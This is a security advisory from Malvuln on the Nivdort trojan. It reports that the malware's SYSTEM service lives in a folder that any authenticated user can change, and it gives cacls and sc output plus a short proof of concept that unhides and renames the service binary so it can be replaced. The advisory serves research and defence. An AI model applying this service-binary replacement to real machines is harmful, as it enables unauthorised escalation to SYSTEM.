TrojanSpy Win32 Nivdort MVID-2024-0668 Insecure Permissions

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https://malvuln.com/advisory/15bda00b57e2ed729a45f7cfa62165da.txtContact: [email protected]: twitter.com/malvulnThreat: TrojanSpy Win32 NivdortVulnerability: Insecure Permissions - EoP (SYSTEM) Family: NivdortType: PE32MD5: 15bda00b57e2ed729a45f7cfa62165daVuln ID: MVID-2024-0668Dropped files: dqrpgvnkh, egjrdhynfm, nhefhloix, rvoyf6ljtqg4zejno.exeDisclosure: 01/20/2024Description:The malware creates a service which runs as SYSTEM and grants change (C) permissions to the authenticated user group on its installation directory. Standard low integrity users can still rename the service executable while it is running, replace the PE file with their own and restart the infected system to start the service.C:\>cacls C:\pewcvmnvyr\jwgaklb.exeC:\pewcvmnvyr\jwgaklb.exe BUILTIN\Administrators:(ID)F                          NT AUTHORITY\SYSTEM:(ID)F                          BUILTIN\Users:(ID)R                          NT AUTHORITY\Authenticated Users:(ID)CC:\>sc qc "Group Key KtmRm Coordinator Registry TPM Bus"[SC] QueryServiceConfig SUCCESSSERVICE_NAME: Group Key KtmRm Coordinator Registry TPM Bus        TYPE               : 110  WIN32_OWN_PROCESS (interactive)        START_TYPE         : 2   AUTO_START        ERROR_CONTROL      : 0   IGNORE        BINARY_PATH_NAME   : C:\pewcvmnvyr\jwgaklb.exe        LOAD_ORDER_GROUP   :        TAG                : 0        DISPLAY_NAME       : Group Key KtmRm Coordinator Registry TPM Bus        DEPENDENCIES       :        SERVICE_START_NAME : LocalSystemExploit/PoC:Open a cmd prompt as standard user:1) unhide the service binary   C:\Users\norgt>attrib -s -h \pewcvmnvyr\jwgaklb.exe2) rename the service binaryC:\Users\norgt>ren \pewcvmnvyr\jwgaklb.exe PWNED3) optional replace with your own binary and escalate to SYSTEMC:\Users\norgt>dir \pewcvmnvyr\ Directory of C:\pewcvmnvyr        ..01/14/2024  02:05 AM                 0 dqrpgvnkh01/14/2024  02:05 AM                 6 egjrdhynfm01/14/2024  02:09 AM                 4 nhefhloix01/14/2024  02:05 AM           332,800 PWNED   <================= DONE01/14/2024  02:05 AM           332,800 rvoyf9njtqg4zejno.exeDisclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).